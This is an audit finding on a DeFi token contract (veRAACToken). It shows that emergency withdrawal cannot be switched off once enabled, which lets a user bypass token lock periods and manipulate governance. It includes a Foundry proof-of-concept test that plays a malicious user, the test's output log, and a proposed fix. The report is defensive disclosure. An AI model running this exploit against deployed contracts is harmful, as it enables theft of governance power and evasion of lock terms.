Summary:
The emergencyWithdraw functionality in the veRAACToken contract, once enabled, cannot be disabled. This allows users to withdraw their locked tokens in a non-emergency period, regardless of the intended timelock or lock duration, effectively rendering the timelock mechanism useless after the emergency withdrawal is activated.
Vulnerability Details:
The veRAACToken contract has an emergencyWithdraw function that allows users to withdraw their locked tokens before the lock expiry time under emergency conditions. This functionality is enabled by the enableEmergencyWithdraw function, which sets the emergencyWithdrawDelay variable. However, there is no mechanism to reset emergencyWithdrawDelay to zero or disable the emergency withdrawal functionality once it has been enabled.
[ https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/tokens/veRAACToken.sol#L358 ]
[ https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/tokens/veRAACToken.sol#L367 ]
function enableEmergencyWithdraw() external onlyOwner withEmergencyDelay(EMERGENCY_WITHDRAW_ACTION) {
emergencyWithdrawDelay = block.timestamp + EMERGENCY_DELAY;
emit EmergencyWithdrawEnabled(emergencyWithdrawDelay);
}
function emergencyWithdraw() external nonReentrant {
if (emergencyWithdrawDelay == 0 || block.timestamp < emergencyWithdrawDelay)
revert EmergencyWithdrawNotEnabled();
}
Once enableEmergencyWithdraw is called and the delay has passed, emergencyWithdrawDelay will be set to a future timestamp. There's no way to set it back to 0. This means that the condition emergencyWithdrawDelay == 0 in emergencyWithdraw will always be false after the first activation, and users can effectively withdraw their tokens at any time, even after the initial emergency has passed.
Impact:
The inability to disable emergencyWithdraw has the following consequences:
Timelock Bypass: The core timelock functionality of the veRAAC system is compromised. Users can withdraw their tokens at any time after the initial emergency activation, regardless of their lock duration.
Loss of Incentive: The incentive for users to lock their tokens for longer durations is diminished. Since they can always withdraw early, there's no real benefit to locking for extended periods.
Potential Governance Attack: The malicious actor can now lock their tokens for voting power, vote for any proposal and instantly withdraw their Raac tokens using emergencyWithdraw() at any time, completely bypassing the intended lock durations and causing potential governance attack.
Proof of Concept (PoC):
In an emergency situation the contract owner calls scheduleEmergencyAction(EMERGENCY_WITHDRAW_ACTION) and then enableEmergencyWithdraw(). The emergencyWithdrawDelay is set to a future timestamp.
After the emergencyWithdrawDelay has passed which is 6 days and emergency withdraw enbaled for users use
Later the emergency situation gets over, as there is no function implemented to disable EmergencyWithdraw the condition emergencyWithdrawDelay == 0 && block.timestamp < emergencyWithdrawDelay always fails, and the withdrawal is successful.
The malicious user can now withdraw their locked tokens at any time / non-emergency period, bypassing the intended lock duration.
Proof Of Code:
Use this guide to intergrate foundry into your project: foundry
Create a new file FortisAudits.t.sol in the test directory.
Add the following gist code to the file: Gist Code
Run the test using forge test --mt test_FortisAudits_NoDisableEmergencyWithdraw -vvvv.
function test_FortisAudits_NoDisableEmergencyWithdraw() public {
uint256 amount = 200e18;
uint256 duration = 365 days;
vm.startPrank(initialOwner);
raacToken.setMinter(initialOwner);
raacToken.mint(anon , amount);
raacToken.mint(address(veraacToken), amount);
vm.stopPrank();
vm.startPrank(anon);
console.log("----- First Lock -----");
console.log("Voting Power of Malicious User Before Locking: %d", veraacToken.balanceOf(anon));
raacToken.approve(address(veraacToken), amount);
veraacToken.lock(100e18, duration);
console.log("Voting Power of Malicious User After Locking: %d", veraacToken.balanceOf(anon));
vm.stopPrank();
console.log("****** Emergency Withdraw Enabled ******");
vm.startPrank(initialOwner);
bytes32 action = keccak256("enableEmergencyWithdraw");
veraacToken.scheduleEmergencyAction(action);
skip(3 days + 1);
veraacToken.enableEmergencyWithdraw();
vm.stopPrank();
skip(3 days + 1);
vm.startPrank(anon);
console.log("----- First Emergency Withdraw During Emergency Period -----");
veraacToken.emergencyWithdraw();
console.log("Voting Power of Malicious User After Emergency Withdraw: %d", veraacToken.balanceOf(anon));
console.log("Balance of Malicious User After Emergency Withdraw: %d (deducting transfer fee)", raacToken.balanceOf(anon));
console.log("----- Second Lock After Emergency Period -----");
skip(20 days);
veraacToken.lock(100e18, duration);
console.log("Voting Power of Malicious User After Second Lock: %d", veraacToken.balanceOf(anon));
skip(120 days);
console.log("----- Second Emergency Withdraw After Emergency Period -----");
console.log("Malicious User's end time of lock: %d", block.timestamp + duration);
console.log("Malicious User's current timestamp of emergency withdraw: %d", block.timestamp);
console.log("Voting Power of Malicious User Before Emergency Withdraw: %d", veraacToken.balanceOf(anon));
veraacToken.emergencyWithdraw();
console.log("Voting Power of Malicious User After Emergency Withdraw: %d", veraacToken.balanceOf(anon));
console.log("Balance of Malicious User After Emergency Withdraw: %d (deducting transfer fee)", raacToken.balanceOf(anon));
console.log("!!THUS MALICIOUS USER WITHDREW FUNDS BEFORE END TIME!!");
vm.stopPrank();
}
[PASS] test_FortisAudits_NoDisableEmergencyWithdraw() (gas: 784072)
Logs:
----- First Lock -----
Voting Power of Malicious User Before Locking: 0
Voting Power of Malicious User After Locking: 25000000000000000000
****** Emergency Withdraw Enabled ******
----- First Emergency Withdraw During Emergency Period -----
Voting Power of Malicious User After Emergency Withdraw: 0
Balance of Malicious User After Emergency Withdraw: 198800000000000000000 (deducting transfer fee)
----- Second Lock After Emergency Period -----
Voting Power of Malicious User After Second Lock: 25000000000000000000
----- Second Emergency Withdraw After Emergency Period -----
Malicious User's end time of lock: 44150403
Malicious User's current timestamp of emergency withdraw: 12614403
Voting Power of Malicious User Before Emergency Withdraw: 25000000000000000000
Voting Power of Malicious User After Emergency Withdraw: 0
Balance of Malicious User After Emergency Withdraw: 197600000000000000000 (deducting transfer fee)
!!THUS MALICIOUS USER WITHDREW FUNDS BEFORE END TIME!!
Recommended Mitigation:
Implement a mechanism to disable the emergencyWithdraw functionality. This could be done by adding a function that allows the owner to reset emergencyWithdrawDelay to zero, effectively disabling emergencyWithdraw.
function disableEmergencyWithdraw() external onlyOwner {
emergencyWithdrawDelay = 0;
emit EmergencyWithdrawDisabled();
}